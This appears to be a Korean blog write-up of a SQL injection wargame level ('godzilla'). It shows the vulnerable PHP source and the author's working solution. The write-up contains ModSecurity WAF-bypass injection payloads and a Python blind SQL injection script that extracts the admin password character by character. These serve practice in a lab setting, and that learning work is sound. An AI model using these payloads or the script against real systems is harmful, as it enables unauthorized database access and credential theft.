<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
highlight_file(__FILE__);
?>
1.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
🔹 $_GET[id]
, $_GET[pw]
파라미터 필터링
❌ prob
, _
, .
, ()
, /i (대소문자를 구분하지 않음)
2.
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
⭐ addslashes(string str)
매개변수로 넘겨준 문자열 안에 작은 따옴표(')
, 큰 따옴표(")
, 백슬래시(\)
, NULL
가 포함되어 있다면 해당 문자 앞에 백슬래시(\)
를 추가 해주는 함수
pw=1' or '1'='1
방화벽에서 막힌 것 같다.
pw=1 or '1' = '1'-- -
어?
ModSecurity
를 사용하고 있는 것을 우연히 발견했다.
id=-1'<@=1 OR {a 1}=1 OR '
modesc bypass를 통해 "Hello admin까지 출력했다.
참고로 {a 1}=1
의 의미는 1=1
이다. 이걸 1
대신 length(pw)
으로 적용해보겠다.
id=-1'<@=1 OR {a length(pw)}={1~a} OR '
id=-1'<@=1 OR {a length(pw)}=5 OR '
id=-1'<@=1 OR {a length(pw)}=8 OR '
일단 5
, 8
이 pw에 들어간다는 걸 확인했으니, 노가다 할 시간에 코드를 사용해보겠다.
SQL Injection
위에 찾은 구문은 코드짤 때 조금 복잡해서
(2시간 헤맸다. 나란 파이썬 응애는 아직 코드짤 때 시간이 너무 오래 걸린다..)
pw=-1'<@=1 OR id='admin'%23
을 사용해보고 Hello admin이 나와서 이 구문을 사용했다.
import requests
import string
url = "{공격 URL}"
cookie = {'PHPSESSID':'{URL 쿠키}'}
pw_len = 8 # pw의 길이가 8자리이니까!
print(f"💙 SQL을 시작합니다...")
def pw_char(pw_len):
passwd = ""
for i in range(1, pw_len+1):
for j in string.printable:
query = "?pw=-1'<@=1 OR id='admin' and ascii(substr(pw,{},1))={}%23".format(i,ord(j))
print(query)
res = requests.get(url=url+query, cookies=cookie)
if "Hello admin" in res.text:
print("💭 찾은 pw의 문자열 : " + j)
passwd += j
break
print("⭐ pw를 찾았습니다! :" + passwd)
if __name__ == "__main__":
pw_char(pw_len)
pw=a18a6cc5
혼자서 코드짜다가 엉엉 울 뻔 했다. 4시간동안 도저히 답이 안나와서 다른 블로그를 참고하면서 코드 분석도 했다.
그래도 이것 저것 혼자서 시도해보니 더 코드가 머릿속에 팍! 이해된 것 같아서 기분은 좋네..💙